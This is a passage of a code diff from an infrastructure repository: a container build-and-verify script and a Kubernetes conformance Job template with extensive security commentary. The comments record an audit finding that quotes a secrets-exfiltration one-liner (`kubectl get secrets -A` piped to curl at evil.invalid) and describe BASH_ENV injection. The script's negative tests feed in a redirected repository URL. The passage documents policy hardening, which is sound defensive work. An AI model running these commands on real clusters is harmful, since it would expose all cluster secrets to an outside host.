|
||||||
|
REPO_ROOT="$(cd "${HERE}/../.." && pwd)"
|
||||||
|
ENGINE="${ENGINE:-podman}"
|
||||||
|
|
||||||
|
VERIFY=1
|
||||||
|
VERIFY_CLONE=0
|
||||||
|
for arg in "$@"; do
|
||||||
|
case "$arg" in
|
||||||
|
--no-verify) VERIFY=0 ;;
|
||||||
|
--verify-clone) VERIFY_CLONE=1 ;;
|
||||||
|
-h|--help) sed -n '2,/^####/p' "${BASH_SOURCE[0]}" | sed '$d' | sed 's/^# \{0,1\}//'; exit 0 ;;
|
||||||
|
*) echo "unknown argument: $arg" >&2; exit 2 ;;
|
||||||
|
esac
|
||||||
|
done
|
||||||
|
|
||||||
|
log() { printf '\n\033[1m==> %s\033[0m\n' "$*"; }
|
||||||
|
info() { printf ' %s\n' "$*"; }
|
||||||
|
die() { printf '\033[31mERROR: %s\033[0m\n' "$*" >&2; exit 1; }
|
||||||
|
|
||||||
|
command -v "${ENGINE}" >/dev/null 2>&1 || die "'${ENGINE}' not on PATH (set ENGINE=docker to use docker)"
|
||||||
|
|
||||||
|
# --- pins: sourced, never invented -------------------------------------------
|
||||||
|
TOOLCHAIN_ENV="${REPO_ROOT}/infra/devcontainer/versions.env"
|
||||||
|
[ -f "${TOOLCHAIN_ENV}" ] || die "missing ${TOOLCHAIN_ENV} — the pins live there, not here"
|
||||||
|
# shellcheck disable=SC1090
|
||||||
|
source "${TOOLCHAIN_ENV}"
|
||||||
|
: "${CHAINSAW_VERSION:?CHAINSAW_VERSION not set in ${TOOLCHAIN_ENV}}"
|
||||||
|
: "${KUBECTL_VERSION:?KUBECTL_VERSION not set in ${TOOLCHAIN_ENV}}"
|
||||||
|
: "${FEDORA_VERSION:?FEDORA_VERSION not set in ${TOOLCHAIN_ENV}}"
|
||||||
|
|
||||||
|
# --- image name: fixed by the admission policy -------------------------------
|
||||||
|
# platform/kyverno/admission/conformance-trigger-job-shape.yaml admits ONLY
|
||||||
|
# gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:*. The repository path
|
||||||
|
# is therefore not a preference; a different path is a DENIED Job. Do not "improve" it here.
|
||||||
|
IMAGE_REPO="gitea.home.keithjackson.dev/home-network/conformance-runner"
|
||||||
|
# The tag is build convenience only (a human-readable handle for the push). Admission
|
||||||
|
# ignores it: only the digest is ever referenced from a Job.
|
||||||
|
IMAGE_TAG="chainsaw${CHAINSAW_VERSION}-kubectl${KUBECTL_VERSION}-fc${FEDORA_VERSION}"
|
||||||
|
IMAGE_REF="${IMAGE_REPO}:${IMAGE_TAG}"
|
||||||
|
|
||||||
|
log "Building ${IMAGE_REF}"
|
||||||
|
info "engine ${ENGINE} ($(${ENGINE} --version 2>/dev/null | head -1))"
|
||||||
|
info "pins from ${TOOLCHAIN_ENV}"
|
||||||
|
info " CHAINSAW ${CHAINSAW_VERSION}"
|
||||||
|
info " KUBECTL ${KUBECTL_VERSION}"
|
||||||
|
info " FEDORA ${FEDORA_VERSION}"
|
||||||
|
|
||||||
|
"${ENGINE}" build \
|
||||||
|
--file "${HERE}/Containerfile" \
|
||||||
|
--tag "${IMAGE_REF}" \
|
||||||
|
--build-arg "CHAINSAW_VERSION=${CHAINSAW_VERSION}" \
|
||||||
|
--build-arg "KUBECTL_VERSION=${KUBECTL_VERSION}" \
|
||||||
|
--build-arg "FEDORA_VERSION=${FEDORA_VERSION}" \
|
||||||
|
"${HERE}"
|
||||||
|
|
||||||
|
# --- verify: the point of the whole exercise ---------------------------------
|
||||||
|
# The stock chainsaw image "had" chainsaw and still could not run ./run.sh. So prove the
|
||||||
|
# tools EXECUTE, and prove they execute as the NON-ROOT uid with a READ-ONLY root
|
||||||
|
# filesystem — the shape the admission policy forces. A pass here is the only evidence
|
||||||
|
# this image is usable; a build that merely succeeded is not.
|
||||||
|
if [ "${VERIFY}" -eq 1 ]; then
|
||||||
|
log "Verifying the toolchain inside the image (non-root, read-only rootfs)"
|
||||||
|
"${ENGINE}" run --rm \
|
||||||
|
--user 65532:65532 \
|
||||||
|
--read-only \
|
||||||
|
--tmpfs /workspace:rw,mode=1777 \
|
||||||
|
--entrypoint "" \
|
||||||
|
"${IMAGE_REF}" \
|
||||||
|
/bin/bash -euo pipefail -c '
|
||||||
|
echo "--- id ---"; id
|
||||||
|
echo "--- HOME ---"; echo "HOME=${HOME}"
|
||||||
|
echo "--- bash ---"; bash --version | head -1
|
||||||
|
echo "--- python3 ---"; python3 --version
|
||||||
|
echo "--- git ---"; git --version
|
||||||
|
echo "--- kubectl ---"; kubectl version --client
|
||||||
|
echo "--- chainsaw ---"; chainsaw version
|
||||||
|
echo "--- baked versions ---"; cat /etc/conformance-runner-versions
|
||||||
|
echo "--- conformance-clone: fixed path, root-owned, NOT writable by the runner ---"
|
||||||
|
stat -c "%n %U:%G %a" /usr/local/bin/conformance-clone
|
||||||
|
if [ -w /usr/local/bin/conformance-clone ]; then
|
||||||
|
echo "UNEXPECTED: uid $(id -u) can write the one executable the policy will trust"; exit 1
|
||||||
|
fi
|
||||||
|
echo "confirmed: not writable by uid $(id -u)"
|
||||||
|
# Each of these MUST fail. Assert the non-zero exit as well as the message: a check
|
||||||
|
# that only greps stderr would pass a build where the guard had stopped rejecting.
|
||||||
|
# (`|| true` inside the capture keeps `set -e`/`pipefail` from aborting on the
|
||||||
|
# expected failure — without it the verify dies at the first negative case.)
|
||||||
|
expect_fail() {
|
||||||
|
local label="$1"; shift
|
||||||
|
local out rc=0
|
||||||
|
out="$(env "$@" 2>&1)" || rc=$?
|
||||||
|
echo "--- ${label} ---"
|
||||||
|
printf "%s\n" "${out}" | head -2
|
||||||
|
if [ "${rc}" -eq 0 ]; then
|
||||||
|
echo "UNEXPECTED: that should have failed, but it exited 0"; exit 1
|
||||||
|
fi
|
||||||
|
echo "(rejected, exit ${rc})"
|
||||||
|
}
|
||||||
|
expect_fail "conformance-clone rejects arguments (that is where an injection would live)" \
|
||||||
|
conformance-clone --layer l2
|
||||||
|
expect_fail "conformance-clone rejects a missing SHA" \
|
||||||
|
conformance-clone
|
||||||
|
expect_fail "conformance-clone rejects a branch name instead of a SHA (no silent run of the tip)" \
|
||||||
|
CONFORMANCE_GIT_SHA=main conformance-clone
|
||||||
|
expect_fail "conformance-clone rejects an UNRENDERED placeholder" \
|
||||||
|
CONFORMANCE_GIT_SHA=@@CONFORMANCE_GIT_SHA@@ conformance-clone
|
||||||
|
expect_fail "conformance-clone rejects a HOME off the workspace volume" \
|
||||||
|
CONFORMANCE_GIT_SHA=0000000000000000000000000000000000000000 \
|
||||||
|
HOME=/etc conformance-clone
|
||||||
|
expect_fail "conformance-clone refuses a REDIRECTED repository URL (the env-injection hole)" \
|
||||||
|
CONFORMANCE_GIT_SHA=0000000000000000000000000000000000000000 \
|
||||||
|
CONFORMANCE_REPO_URL=https://evil.invalid/x.git conformance-clone
|
||||||
|
expect_fail "conformance-clone refuses a clone target off the workspace volume" \
|
||||||
|
CONFORMANCE_GIT_SHA=0000000000000000000000000000000000000000 \
|
||||||
|
CONFORMANCE_SRC=/etc/src conformance-clone
|
||||||
|
echo "--- rootfs is read-only (expected: a failure) ---"
|
||||||
|
if touch /should-fail 2>/dev/null; then echo "UNEXPECTED: rootfs is writable"; exit 1; fi
|
||||||
|
echo "confirmed: / is read-only"
|
||||||
|
echo "--- HOME is writable (the workspace emptyDir) ---"
|
||||||
|
touch "${HOME}/.probe" && echo "confirmed: ${HOME} is writable"
|
||||||
|
echo "--- uid is non-zero ---"
|
||||||
|
[ "$(id -u)" -ne 0 ] && echo "confirmed: running as uid $(id -u), not root"
|
||||||
|
'
|
||||||
|
log "Toolchain verified"
|
||||||
|
fi
|
||||||
|
|
||||||
|
# --- verify the clone helper against the REAL repository (opt-in: needs network) ----
|
||||||
|
# The negative cases above prove conformance-clone refuses bad input. This proves the
|
||||||
|
# positive case: it lands the EXACT commit asked for and can prove it did. Without this, the
|
||||||
|
# rev-parse assertion is only an unexercised line of shell.
|
||||||
|
if [ "${VERIFY_CLONE}" -eq 1 ]; then
|
||||||
|
log "Verifying conformance-clone against the real repository"
|
||||||
|
SHA="$(git -C "${REPO_ROOT}" rev-parse HEAD)"
|
||||||
|
info "requesting commit ${SHA}"
|
||||||
|
"${ENGINE}" run --rm \
|
||||||
|
--user 65532:65532 \
|
||||||
|
--read-only \
|
||||||
|
--tmpfs /workspace:rw,mode=1777 \
|
||||||
|
--network host \
|
||||||
|
--entrypoint "" \
|
||||||
|
-e "CONFORMANCE_GIT_SHA=${SHA}" \
|
||||||
|
"${IMAGE_REF}" \
|
||||||
|
/bin/bash -euo pipefail -c '
|
||||||
|
conformance-clone
|
||||||
|
echo "--- assert rev-parse HEAD == the requested SHA ---"
|
||||||
|
got="$(git -C /workspace/src rev-parse HEAD)"
|
||||||
|
echo "requested: ${CONFORMANCE_GIT_SHA}"
|
||||||
|
echo "HEAD: ${got}"
|
||||||
|
[ "${got}" = "${CONFORMANCE_GIT_SHA}" ] || { echo "MISMATCH"; exit 1; }
|
||||||
|
echo "confirmed: the working tree is at the requested commit"
|
||||||
|
test -x /workspace/src/conformance/run.sh && echo "confirmed: run.sh present and executable"
|
||||||
|
'
|
||||||
|
log "conformance-clone verified against the real repository"
|
||||||
|
fi
|
||||||
|
|
||||||
|
# --- digest ------------------------------------------------------------------
|
||||||
|
DIGEST="$("${ENGINE}" image inspect --format '{{.Digest}}' "${IMAGE_REF}")"
|
||||||
|
IMAGE_ID="$("${ENGINE}" image inspect --format '{{.Id}}' "${IMAGE_REF}")"
|
||||||
|
SIZE="$("${ENGINE}" image inspect --format '{{.Size}}' "${IMAGE_REF}")"
|
||||||
|
|
||||||
|
log "Built ${IMAGE_REF}"
|
||||||
|
info "local manifest digest ${DIGEST}"
|
||||||
|
info "image id ${IMAGE_ID}"
|
||||||
|
info "size $(( SIZE / 1024 / 1024 )) MiB"
|
||||||
|
|
||||||
|
cat <<EOF
|
||||||
|
|
||||||
|
================================================================================
|
||||||
|
NOT PUSHED. Publishing is an operator action — this script holds no registry
|
||||||
|
credential and will never acquire one.
|
||||||
|
|
||||||
|
OPERATOR: run these two commands, then paste the digest from the digestfile into
|
||||||
|
conformance/versions.env (CONFORMANCE_RUNNER_IMAGE) via a PR:
|
||||||
|
|
||||||
|
${ENGINE} login gitea.home.keithjackson.dev
|
||||||
|
|
||||||
|
${ENGINE} push --digestfile /tmp/conformance-runner.digest \\
|
||||||
|
${IMAGE_REF}
|
||||||
|
|
||||||
|
Then:
|
||||||
|
|
||||||
|
cat /tmp/conformance-runner.digest
|
||||||
|
# -> sha256:.... THIS is the authoritative digest, not the local one above.
|
||||||
|
|
||||||
|
# conformance/versions.env
|
||||||
|
CONFORMANCE_RUNNER_IMAGE="${IMAGE_REPO}@\$(cat /tmp/conformance-runner.digest)"
|
||||||
|
|
||||||
|
WHY THE DIGEST AND NOT THE TAG: platform/kyverno/admission/conformance-trigger-job-shape.yaml
|
||||||
|
is a fail-closed Enforce policy. It DENIES any conformance-trigger Job whose image is not
|
||||||
|
${IMAGE_REPO}@sha256:<digest>. A tag reference is denied,
|
||||||
|
and so is any other repository path.
|
||||||
|
|
||||||
|
TIGHTEN THE BOUNDARY AFTERWARDS: that policy's header asks for the wildcard
|
||||||
|
\`${IMAGE_REPO}@sha256:*\` to be replaced with the
|
||||||
|
LITERAL digest once the image exists, closing the "anyone who can push to this path" gap.
|
||||||
|
That is a separate, human-reviewed PR against the security boundary.
|
||||||
|
================================================================================
|
||||||
|
EOF
|
||||||
@@ -1,23 +1,175 @@
|
|||||||
# =============================================================================
|
# =============================================================================
|
||||||
# In-cluster Chainsaw conformance Job — SKELETON (ADR-0011; docs/14)
|
# In-cluster Chainsaw conformance Job — the RUN TEMPLATE (ADR-0011; docs/14)
|
||||||
|
# Serves docs/plans/l2-l3-conformance-ci-wiring.md §3 items 2 and 3.
|
||||||
#
|
#
|
||||||
# CI (Gitea Actions, T-6.1b) TRIGGERS this Job and waits for it; CI holds NO
|
# NOT RECONCILED BY FLUX. `kustomization.yaml` deliberately omits this file: it is a
|
||||||
# cluster credentials. The Job runs L1/L2/L3 under the scoped `conformance-runner`
|
# TEMPLATE the CI trigger renders and submits once per run. Flux reconciling it would
|
||||||
# ServiceAccount (rbac.yaml), writes JUnit + coverage to a results location that
|
# create a permanent Job object and fight the trigger for ownership.
|
||||||
# CI collects, and enforces the merge / phase-exit gate on the outcome.
|
|
||||||
#
|
#
|
||||||
# Two invocation shapes (CI sets args):
|
# CI (Gitea Actions) creates this Job and waits for it. CI holds NO broad kubeconfig —
|
||||||
# * MERGE GATE: ./run.sh --requirements <touched R-IDs> (subset)
|
# only the narrow `conformance-trigger` identity (create/get jobs, get pods + pods/log).
|
||||||
# * PHASE EXIT: ./run.sh --layer all (full suite)
|
# In particular it has NO `pods/exec` and cannot `kubectl cp`, which is why results leave
|
||||||
|
# the Job over STDOUT (see "RESULTS TRANSPORT" below) and not over an exec channel.
|
||||||
#
|
#
|
||||||
# Results artifact mechanism (delegated to WS-TEST by docs/14 open items):
|
# -----------------------------------------------------------------------------
|
||||||
# Chosen = a shared results emptyDir + a terminating log stream, with an
|
# THE ADMISSION BOUNDARY THIS MANIFEST MUST SATISFY
|
||||||
# OPTIONAL results PVC for durability across CI collection. For Phase 0 there is
|
# -----------------------------------------------------------------------------
|
||||||
# no cluster; this manifest is reconciled by Flux from Phase 1+ and exercised
|
# platform/kyverno/admission/conformance-trigger-job-shape.yaml is Enforce +
|
||||||
# once L2/L3 can run. CI collects `report.junit.xml` + `coverage/` from the
|
# failurePolicy: Fail, and it governs every Job `conformance-trigger` creates. It admits
|
||||||
# results volume (or scrapes the pod log, which echoes their paths).
|
# ONLY: exactly one container on a digest-pinned conformance-runner image,
|
||||||
|
# serviceAccountName conformance-runner, command ["./run.sh"], args drawn from
|
||||||
|
# --layer/--requirements/--include-scope/--strict-coverage plus plain value tokens, no
|
||||||
|
# host namespaces, non-root with privilege escalation off, and — the constraint that
|
||||||
|
# shapes everything below — NO VOLUMES BUT `workspace` AND `results`.
|
||||||
#
|
#
|
||||||
# NOT applied in Phase 0 (no cluster). Image tag pinned to versions.env CHAINSAW_IMAGE.
|
# So the git credential CANNOT be a projected/secret volume, and the init container
|
||||||
|
# cannot have a scratch volume of its own. Both are solved inside the two allowed names:
|
||||||
|
# * the credential arrives as env vars via secretKeyRef (an env var is not a volume),
|
||||||
|
# BY SECRET NAME ONLY — no token literal ever appears in this file;
|
||||||
|
# * `$TMPDIR` and `$HOME` are pointed at directories on the `workspace` emptyDir, so
|
||||||
|
# readOnlyRootFilesystem stays true without a third volume and without subPath
|
||||||
|
# mounts (a kubelet-created subPath dir is root-owned 0755 and would not be writable
|
||||||
|
# by the non-root runner).
|
||||||
|
#
|
||||||
|
# Verify before changing anything here:
|
||||||
|
# kyverno apply platform/kyverno/admission/conformance-trigger-job-shape.yaml \
|
||||||
|
# --resource <rendered job> \
|
||||||
|
# --userinfo platform/kyverno/tests/conformance-trigger/user-info.yaml
|
||||||
|
# and see platform/kyverno/tests/conformance-trigger/ — the `real-template` case in
|
||||||
|
# resources.yaml is this shape, so `make -C ci l0` fails if it drifts out of admission.
|
||||||
|
#
|
||||||
|
# -----------------------------------------------------------------------------
|
||||||
|
# THE initContainers HOLE — FOUND AND CLOSED IN THE SAME PR (2026-09-29)
|
||||||
|
# -----------------------------------------------------------------------------
|
||||||
|
# As originally written, the policy read only `spec.template.spec.containers` (rule 1's
|
||||||
|
# pattern, rule 3's `containers[0].args`) and `volumes` (rule 2). `initContainers` was
|
||||||
|
# never examined, so the exact escalation the policy exists to stop was reachable one
|
||||||
|
# field over. MEASURED with the pinned CLI (kyverno v1.19.0), `containers[0]` left fully
|
||||||
|
# compliant:
|
||||||
|
#
|
||||||
|
# * this template with ONLY the init container's args replaced by
|
||||||
|
# `kubectl get secrets -A -o yaml | curl -X POST --data-binary @- http://evil.invalid/`
|
||||||
|
# * and (the coordinator's independent reproduction) a `privileged: true`
|
||||||
|
# `docker.io/library/alpine:latest` init container running `kubectl get secrets -A`
|
||||||
|
#
|
||||||
|
# -> pass: 3, fail: 0, warn: 0, error: 0, skip: 0 # BOTH ADMITTED
|
||||||
|
#
|
||||||
|
# `=(privileged): "false"` in rule 1 only ever applied to `containers[0]`.
|
||||||
|
#
|
||||||
|
# Closed by new rules in that policy, authorised by the coordinator in this PR
|
||||||
|
# (the original brief forbade policy edits; that was to stop the boundary being BENT to
|
||||||
|
# fit a Job, not to stop a hole being closed):
|
||||||
|
# * `trigger-initcontainers-must-be-the-committed-clone-step` — at most one init
|
||||||
|
# container, on the digest-pinned runner image, `command:
|
||||||
|
# ["/usr/local/bin/conformance-clone"]`, NO args, non-root, no privilege escalation,
|
||||||
|
# not privileged. The clone logic moved OUT of this manifest and into the image for
|
||||||
|
# exactly this reason: a policy cannot vet a shell script passed as `args`, so the
|
||||||
|
# script had to stop being caller-supplied data. It stays reviewable as
|
||||||
|
# conformance/incluster/conformance-clone.
|
||||||
|
# * `trigger-may-not-declare-ephemeral-containers` — `ephemeralContainers` was the same
|
||||||
|
# unread field. Upstream k8s is BELIEVED to reject it in a pod template; that was not
|
||||||
|
# verified here, and the rule costs nothing if it is true.
|
||||||
|
# * `trigger-env-names-must-be-the-committed-set` and `trigger-may-not-use-envfrom` — `env`
|
||||||
|
# was the same mistake a THIRD time. `command` is pinned, so injection moves to a variable
|
||||||
|
# the pinned command honours, and `BASH_ENV` alone is arbitrary code execution: bash
|
||||||
|
# sources it before running a non-interactive script. Names are allowlisted per container;
|
||||||
|
# VALUES and the `valueFrom` source Secret deliberately are not (values are legitimately
|
||||||
|
# environment-specific, and conformance-runner can already read this namespace's Secrets
|
||||||
|
# through its own RBAC, so pinning the source would buy nothing).
|
||||||
|
#
|
||||||
|
# Every probe is now a negative fixture in platform/kyverno/tests/conformance-trigger/ —
|
||||||
|
# `evil-initcontainer`, `initcontainer-with-args`, `second-initcontainer`,
|
||||||
|
# `evil-ephemeral-container`, `injected-env`, `injected-initcontainer-env`,
|
||||||
|
# `envfrom-whole-secret` — so they stay failing.
|
||||||
|
#
|
||||||
|
# THE GENERALISABLE LESSON, since this was the same bug three times: an "admit only the
|
||||||
|
# committed shape" policy is only as good as its enumeration of every field that can carry
|
||||||
|
# executable intent. `containers` was enumerated; `initContainers`, `ephemeralContainers` and
|
||||||
|
# `env` were not. Before adding a field to this Job, ask which rule reads it — and if none
|
||||||
|
# does, that is the finding, not an oversight to work around.
|
||||||
|
#
|
||||||
|
# The clone URL is hardcoded in the image entrypoint (and `CONFORMANCE_REPO_URL` is hard-failed
|
||||||
|
# on a mismatch rather than honoured) for exactly this reason. Do not move it into env.
|
||||||
|
#
|
||||||
|
# Note also that `kyverno apply` evaluates these rules whether or not `--userinfo` is
|
||||||
|
# supplied, so a CLI pass is evidence about the PATTERNS, not about the subjects filter.
|
||||||
|
#
|
||||||
|
# -----------------------------------------------------------------------------
|
||||||
|
# WHAT THE TRIGGER SUBSTITUTES — `@@NAME@@` tokens, NOT `${NAME}`
|
||||||
|
# -----------------------------------------------------------------------------
|
||||||
|
# The placeholder syntax is deliberately NOT shell syntax. `${NAME}` would be substituted by
|
||||||
|
# `envsubst`, which has no way to tell a token meant for rendering from a shell reference
|
||||||
|
# that belongs to a script — a trap this file walked into while the clone logic was still an
|
||||||
|
# inline bash script here. `@@NAME@@` cannot collide with anything, and a surviving `@@` in a
|
||||||
|
# rendered manifest is trivially greppable as "the trigger forgot to render this". Render
|
||||||
|
# with a two-token sed, nothing cleverer:
|
||||||
|
#
|
||||||
|
# sed -e "s|@@CONFORMANCE_RUNNER_IMAGE_DIGEST@@|${digest}|" \
|
||||||
|
# -e "s|@@CONFORMANCE_GIT_SHA@@|${sha}|" conformance/incluster/chainsaw-job.yaml
|
||||||
|
#
|
||||||
|
# @@CONFORMANCE_RUNNER_IMAGE_DIGEST@@ the 64-hex digest of the pinned runner image.
|
||||||
|
# Only the DIGEST is substituted — the registry path and the `@sha256:` pinning
|
||||||
|
# are committed literals, so the substitution cannot repoint the image at another
|
||||||
|
# repository, and the template still satisfies the policy's image pattern before
|
||||||
|
# rendering. An unsubstituted digest fails as ImagePullBackOff, loudly.
|
||||||
|
# @@CONFORMANCE_GIT_SHA@@ the 40-hex commit under test. The init container
|
||||||
|
# REFUSES to run unless it matches ^[0-9a-f]{40}$, so an unsubstituted placeholder
|
||||||
|
# or an injected value is a hard failure, never a run of the wrong tree.
|
||||||
|
#
|
||||||
|
# `args` is NOT a placeholder: it is a real list, and the trigger REPLACES it wholesale per
|
||||||
|
# invocation shape. Keeping it a committed list (not a substituted scalar) is what lets this
|
||||||
|
# file be handed to `kyverno apply` as-is.
|
||||||
|
#
|
||||||
|
# -----------------------------------------------------------------------------
|
||||||
|
# WHICH ARGS ACTUALLY RUN ON THIS IMAGE — `--layer` IS MANDATORY AND MUST NAME ONLY l2/l3
|
||||||
|
# -----------------------------------------------------------------------------
|
||||||
|
# The runner image ships bash, git, python3, chainsaw and kubectl. It deliberately does NOT
|
||||||
|
# ship flux, promtool, kyverno or kustomize, because L0/L1 are CI's job and run without a
|
||||||
|
# cluster. But run.sh runs its OFFLINE L0/L1 stages first for any selection that is not
|
||||||
|
# offline-only, and those stages need exactly those missing tools. Tracing run.sh:
|
||||||
|
#
|
||||||
|
# requirement_scoped_dirs() is layer-bounded ONLY when --layer is given and != all;
|
||||||
|
# offline_selected_dirs() then filters the selection to /l0-static/|/l1-rendering/.
|
||||||
|
#
|
||||||
|
# so:
|
||||||
|
# ["--layer","l2,l3"] -> offline selection EMPTY. RUNS.
|
||||||
|
# ["--layer","l2,l3","--requirements","R-NET-01"] -> intersected to L2/L3. RUNS.
|
||||||
|
# ["--layer","l2,l3","--include-scope","whole-repo"] -> scope union is ALSO
|
||||||
|
# layer-bounded, so only whole-repo-scoped L2/L3 tests (none today). RUNS.
|
||||||
|
# ["--requirements","R-NET-01"] (no --layer, so LAYER=all) -> unbounded: pulls that
|
||||||
|
# requirement's L0/L1 tests into the run. FAILS on the missing toolchain.
|
||||||
|
# ["--layer","all","--strict-coverage"] -> every L0/L1 test. FAILS.
|
||||||
|
#
|
||||||
|
# The first three are measured working by the image build (PR #18); the last two are measured
|
||||||
|
# failing. **The plan's "PHASE EXIT: --layer all" shape therefore cannot run in-cluster** — a
|
||||||
|
# full-suite run still belongs to CI for L0/L1 plus this Job for L2/L3, not to this Job alone.
|
||||||
|
# The committed default below is the narrowest shape that works.
|
||||||
|
#
|
||||||
|
# The admission policy's args allowlist is deliberately NOT narrowed to enforce this: a
|
||||||
|
# security boundary should not encode which toolchain an image happens to ship, and the failure
|
||||||
|
# mode of an allowed-but-unrunnable shape is a loud non-zero run, not an escalation. This
|
||||||
|
# comment is the enforcement, and `ci/conformance.sh` (plan §3 item 4) is where it must land.
|
||||||
|
#
|
||||||
|
# -----------------------------------------------------------------------------
|
||||||
|
# RESULTS TRANSPORT — base64 tar on STDOUT, truncation-detectable
|
||||||
|
# -----------------------------------------------------------------------------
|
||||||
|
# `command` is pinned to ["./run.sh"] by admission, so nothing can be appended after the
|
||||||
|
# suite to package artifacts. run.sh therefore does it itself, on an EXIT trap, when
|
||||||
|
# CONF_EMIT_ARTIFACTS_TGZ=1 (set below and nowhere else). It prints:
|
||||||
|
#
|
||||||
|
# === ARTIFACTS-TGZ-BASE64 BEGIN v1 rc=<rc> bytes=<n> lines=<l> sha256=<hex> ===
|
||||||
|
# <base64 of the tgz, wrapped at 76 columns>
|
||||||
|
# === ARTIFACTS-TGZ-BASE64 END v1 rc=<rc> bytes=<n> lines=<l> sha256=<hex> ===
|
||||||
|
#
|
||||||
|
# The BEGIN and END headers are byte-identical and both carry the size, the base64 line
|
||||||
|
# count and the sha256. A collector that checks all four (one BEGIN, one END, headers
|
||||||
|
# equal, line count and digest match) cannot mistake a truncated `kubectl logs` for a
|
||||||
|
# complete artifact set — which a bare blob would, because base64 decodes a truncated
|
||||||
|
# stream to plausible garbage without complaint. See the block comment above
|
||||||
|
# conf_emit_artifacts_tgz() in conformance/run.sh for the collector's exact obligations.
|
||||||
|
#
|
||||||
|
# `activeDeadlineSeconds` is deliberately shorter than the log-retention window: the
|
||||||
|
# transport is the pod's log, so the Job must finish while that log still exists.
|
||||||
# =============================================================================
|
# =============================================================================
|
||||||
apiVersion: batch/v1
|
apiVersion: batch/v1
|
||||||
kind: Job
|
kind: Job
|
||||||
@@ -28,7 +180,10 @@ metadata:
|
|||||||
app.kubernetes.io/part-of: conformance
|
app.kubernetes.io/part-of: conformance
|
||||||
spec:
|
spec:
|
||||||
backoffLimit: 0 # deterministic: a failed conformance run is a failure, no retry
|
backoffLimit: 0 # deterministic: a failed conformance run is a failure, no retry
|
||||||
|
# A retry would also re-emit the artifact envelope, giving the collector two BEGIN
|
||||||
|
# markers in one log. backoffLimit 0 keeps "exactly one envelope per Job" true.
|
||||||
ttlSecondsAfterFinished: 3600
|
ttlSecondsAfterFinished: 3600
|
||||||
|
activeDeadlineSeconds: 5400 # L3 fault injection is slow; a hung run must not hold the gate
|
||||||
template:
|
template:
|
||||||
metadata:
|
metadata:
|
||||||
labels:
|
labels:
|
||||||
@@ -37,38 +192,118 @@ spec:
|
|||||||
serviceAccountName: conformance-runner # scoped test identity (rbac.yaml)
|
serviceAccountName: conformance-runner # scoped test identity (rbac.yaml)
|
||||||
restartPolicy: Never
|
restartPolicy: Never
|
||||||
securityContext:
|
securityContext:
|
||||||
|
# runAsUser is explicit, not inherited from the image's USER: `runAsNonRoot: true`
|
||||||
|
# alone only *rejects* a root image, it does not choose a uid, and the runner image
|
||||||
|
# is built by a separate task (plan §5 step 1). 65532 is the conventional
|
||||||
|
# distroless `nonroot` uid; the Containerfile MUST create it. fsGroup makes both
|
||||||
|
# emptyDirs group-writable for that uid.
|
||||||
runAsNonRoot: true
|
runAsNonRoot: true
|
||||||
|
runAsUser: 65532
|
||||||
|
runAsGroup: 65532
|
||||||
|
fsGroup: 65532
|
||||||
seccompProfile: { type: RuntimeDefault }
|
seccompProfile: { type: RuntimeDefault }
|
||||||
containers:
|
initContainers:
|
||||||
- name: chainsaw
|
# ---------------------------------------------------------------------
|
||||||
# PIN to versions.env CHAINSAW_IMAGE (ghcr.io/kyverno/chainsaw:v0.2.12).
|
# Deliver the suite AT THE COMMIT UNDER TEST into the shared workspace.
|
||||||
image: ghcr.io/kyverno/chainsaw:v0.2.12
|
#
|
||||||
workingDir: /workspace/conformance
|
# NO SCRIPT AND NO ARGS HERE, DELIBERATELY. The logic lives in the repo at
|
||||||
# The suite repo is delivered into /workspace (git clone init-container or
|
# conformance/incluster/conformance-clone and is baked into the runner image at
|
||||||
# a Flux-populated volume). run.sh is the single entrypoint (identical to local).
|
# /usr/local/bin/conformance-clone. That is what makes the init container
|
||||||
command: ["./run.sh"]
|
# ENFORCEABLE: while the script was inline as `command: ["/bin/bash","-c"]` +
|
||||||
# CI overrides args per invocation shape:
|
# `args: [<script>]`, no admission policy could distinguish the committed script
|
||||||
# ["--requirements", "R-NET-01,R-NET-06"] (merge gate) OR
|
# from an attacker's — both are just `args` on a shell, and a Job with a privileged
|
||||||
# ["--layer", "all", "--strict-coverage"] (phase exit)
|
# alpine init container running `kubectl get secrets -A` was ADMITTED (measured
|
||||||
args: ["--layer", "all", "--strict-coverage"]
|
# 2026-09-29). Rule `trigger-initcontainers-must-be-the-committed-clone-step` now
|
||||||
|
# pins this container to that one path with NO args, so it carries no
|
||||||
|
# caller-supplied code. Read that entrypoint for the clone/fetch/assert logic
|
||||||
|
# and for why the repository URL is hardcoded THERE rather than passed in env.
|
||||||
|
#
|
||||||
|
# Only the commit SHA is caller-supplied, and the entrypoint refuses anything that
|
||||||
|
# is not 40 hex characters before it touches the network.
|
||||||
|
# ---------------------------------------------------------------------
|
||||||
|
- name: clone-suite-at-commit
|
||||||
|
image: gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:@@CONFORMANCE_RUNNER_IMAGE_DIGEST@@
|
||||||
|
command: ["/usr/local/bin/conformance-clone"]
|
||||||
env:
|
env:
|
||||||
- name: CONF_ROOT
|
- name: CONFORMANCE_GIT_SHA
|
||||||
value: /workspace/conformance
|
value: "@@CONFORMANCE_GIT_SHA@@"
|
||||||
|
# BY SECRET NAME ONLY. Provisioned out-of-band by the operator (plan §3.6) as a
|
||||||
|
# READ-ONLY Gitea token with read access to this one repository — never a write
|
||||||
|
# token, never a deploy key with push. Keys: `username`, `token`.
|
||||||
|
# An env var is not a volume, which is how this coexists with the admission
|
||||||
|
# policy's workspace/results-only rule.
|
||||||
|
- name: GITEA_USERNAME
|
||||||
|
valueFrom:
|
||||||
|
secretKeyRef: { name: conformance-git-readonly, key: username }
|
||||||
|
- name: GITEA_TOKEN
|
||||||
|
valueFrom:
|
||||||
|
secretKeyRef: { name: conformance-git-readonly, key: token }
|
||||||
|
# Writable scratch + HOME on the workspace emptyDir, so the root filesystem
|
||||||
|
# stays read-only and no third volume is needed.
|
||||||
|
- name: TMPDIR
|
||||||
|
value: /workspace/tmp
|
||||||
|
- name: HOME
|
||||||
|
value: /workspace/home
|
||||||
volumeMounts:
|
volumeMounts:
|
||||||
- { name: workspace, mountPath: /workspace }
|
- { name: workspace, mountPath: /workspace }
|
||||||
- { name: results, mountPath: /workspace/conformance/_artifacts }
|
|
||||||
securityContext:
|
securityContext:
|
||||||
allowPrivilegeEscalation: false
|
allowPrivilegeEscalation: false
|
||||||
readOnlyRootFilesystem: true
|
readOnlyRootFilesystem: true
|
||||||
capabilities: { drop: ["ALL"] }
|
capabilities: { drop: ["ALL"] }
|
||||||
runAsNonRoot: true
|
runAsNonRoot: true
|
||||||
|
resources:
|
||||||
|
